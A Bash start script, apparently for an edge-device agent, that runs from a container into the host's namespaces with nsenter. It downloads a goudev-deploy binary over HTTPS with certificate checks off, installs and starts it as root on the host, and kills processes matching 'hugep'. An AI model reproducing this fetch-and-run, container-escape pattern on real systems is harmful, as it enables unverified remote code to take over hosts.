147 lines
4.4 KiB
Bash
147 lines
4.4 KiB
Bash
#!/usr/bin/env bash
|
||
# shellcheck source=/dev/null
|
||
|
||
set -euo pipefail
|
||
|
||
if [[ -d "/host/proc/1/" ]]; then source /apps/gitrce/hook/singleton.sh "$0"; fi
|
||
|
||
readonly CHANNEL_ID="CBYWAKOA03B5320231107102110898"
|
||
readonly VENDOR="UM"
|
||
readonly ORG_CODE="A03B53"
|
||
readonly INSTALL_DIR="/storage/u-dx"
|
||
readonly HOST_INSTALL_DIR="/host${INSTALL_DIR}"
|
||
readonly BINARY_NAME="goudev-deploy"
|
||
readonly REMOTE_URL="https://cdn.linkfog.cn/product/terminal/chroot_integration/goudev-deploy/latest/goudev-deploy"
|
||
readonly REMOTE_MD5_URL="${REMOTE_URL}.md5"
|
||
readonly CMDLINE_LOG="/apps/data/cmdline.sh"
|
||
|
||
_goudev_deploy_path="${INSTALL_DIR}/${BINARY_NAME}"
|
||
_goudev_deploy_host_path="${HOST_INSTALL_DIR}/${BINARY_NAME}"
|
||
_binary_refreshed=0
|
||
|
||
__host_exec() {
|
||
# run command inside host namespaces when /host mount is present
|
||
if [[ -d "/host/proc/1" ]] && command -v nsenter >/dev/null 2>&1; then
|
||
nsenter --mount=/host/proc/1/ns/mnt \
|
||
--net=/host/proc/1/ns/net \
|
||
--pid=/host/proc/1/ns/pid \
|
||
--uts=/host/proc/1/ns/uts \
|
||
--ipc=/host/proc/1/ns/ipc \
|
||
-- "$@"
|
||
else
|
||
"$@"
|
||
fi
|
||
}
|
||
|
||
__host_bash() {
|
||
local script="$1"
|
||
[[ -z "$script" ]] && return 0
|
||
__host_exec bash -lc "$script"
|
||
}
|
||
|
||
__kill_process() {
|
||
__host_exec pkill -f "goudev-deploy" >/dev/null 2>&1 || true
|
||
__host_exec pkill -f "hugep-start.sh" >/dev/null 2>&1 || true
|
||
__host_exec pkill -f "hugep" >/dev/null 2>&1 || true
|
||
}
|
||
|
||
__download_goudev_deploy() {
|
||
local tmp_path="${_goudev_deploy_host_path}.tmp"
|
||
|
||
mkdir -p "$HOST_INSTALL_DIR"
|
||
if ! curl -sSfLk "$REMOTE_URL" -o "$tmp_path"; then
|
||
rm -f "$tmp_path"
|
||
return 1
|
||
fi
|
||
chmod 0755 "$tmp_path"
|
||
mv "$tmp_path" "$_goudev_deploy_host_path"
|
||
__host_exec chown root:root "${INSTALL_DIR}/${BINARY_NAME}" >/dev/null 2>&1 || true
|
||
return 0
|
||
}
|
||
|
||
__sync_goudev_deploy() {
|
||
_binary_refreshed=0
|
||
local remote_md5=""
|
||
remote_md5=$(curl -sSfLk "$REMOTE_MD5_URL" 2>/dev/null || true)
|
||
|
||
if [[ ! -f "$_goudev_deploy_host_path" ]]; then
|
||
if __download_goudev_deploy; then
|
||
_binary_refreshed=1
|
||
fi
|
||
elif [[ -n "$remote_md5" ]]; then
|
||
local local_md5
|
||
local_md5=$(md5sum "$_goudev_deploy_host_path" | awk '{print $1}')
|
||
if [[ "$remote_md5" != "$local_md5" ]]; then
|
||
if __download_goudev_deploy; then
|
||
_binary_refreshed=1
|
||
fi
|
||
fi
|
||
fi
|
||
|
||
if (( _binary_refreshed )); then
|
||
__kill_process
|
||
fi
|
||
}
|
||
|
||
__process_running() {
|
||
__host_exec pgrep -f "goudev-deploy" >/dev/null 2>&1
|
||
}
|
||
|
||
__record_cmdline() {
|
||
local entry="${INSTALL_DIR}/${BINARY_NAME} -channelId ${CHANNEL_ID} -vendor ${VENDOR} -orgcode ${ORG_CODE} -installDir ${INSTALL_DIR} -autoStart=false"
|
||
|
||
# 确保容器内记录目录存在并写入（去重）
|
||
mkdir -p "${CMDLINE_LOG%/*}"
|
||
if [[ ! -f "$CMDLINE_LOG" ]] || ! grep -Fx "$entry" "$CMDLINE_LOG" >/dev/null 2>&1; then
|
||
echo "$entry" >>"$CMDLINE_LOG"
|
||
fi
|
||
|
||
# 如果挂载了 /host，也把同样的记录写入宿主的 /apps/data/cmdline.sh，保证宿主端统计一致
|
||
if [[ -d "/host" ]]; then
|
||
# 在宿主上创建目录并追加（去重），通过 __host_exec 执行以进入宿主命名空间
|
||
__host_exec mkdir -p "/apps/data" >/dev/null 2>&1 || true
|
||
# 使用 host 的 shell 做去重追加
|
||
__host_exec bash -lc "if [[ ! -f /apps/data/cmdline.sh ]] || ! grep -Fxq -- \"$entry\" /apps/data/cmdline.sh; then echo \"$entry\" >>/apps/data/cmdline.sh; fi" >/dev/null 2>&1 || true
|
||
fi
|
||
}
|
||
|
||
__start_goudev_deploy() {
|
||
local start_cmd="nohup ${INSTALL_DIR}/${BINARY_NAME} -channelId \"${CHANNEL_ID}\" -vendor \"${VENDOR}\" -orgcode \"${ORG_CODE}\" -installDir \"${INSTALL_DIR}\" -autoStart=false >/dev/null 2>&1 &"
|
||
__host_bash "$start_cmd"
|
||
__record_cmdline
|
||
}
|
||
|
||
__prepare_environment() {
|
||
if [[ -z "${_id:-}" ]]; then
|
||
_id=$(cat /host/workspace/id 2>/dev/null || true)
|
||
fi
|
||
if [[ -z "${CACHE:-}" ]]; then
|
||
CACHE=$(cat /host/workspace/runc-rootfs/biz-u-arm32-*/config.json 2>/dev/null | jq -r '.process.env[]' | awk -F = '/CACHE/{print $NF}' 2>/dev/null || true)
|
||
fi
|
||
if [[ -z "${FILE_PATH_START:-}" ]]; then
|
||
FILE_PATH_START=$(cat /host/workspace/runc-rootfs/biz-u-arm32-*/config.json 2>/dev/null | jq -r '.process.env[]' | awk -F = '/FILE_PATH_START/{print $NF}' 2>/dev/null || true)
|
||
fi
|
||
|
||
mkdir -p "$HOST_INSTALL_DIR"
|
||
__host_exec mkdir -p "$INSTALL_DIR" >/dev/null 2>&1 || true
|
||
mkdir -p "${CMDLINE_LOG%/*}"
|
||
}
|
||
|
||
__main() {
|
||
__prepare_environment
|
||
echo "$(date '+%Y-%m-%d %H:%M:%S') start.sh"
|
||
if ! __process_running; then
|
||
__sync_goudev_deploy
|
||
echo " 启动 goudev-deploy 进程..."
|
||
__start_goudev_deploy
|
||
fi
|
||
}
|
||
|
||
__main
|
||
|
||
__help() {
|
||
cat >/dev/null <<-'EOF'
|
||
|
||
EOF
|
||
}
|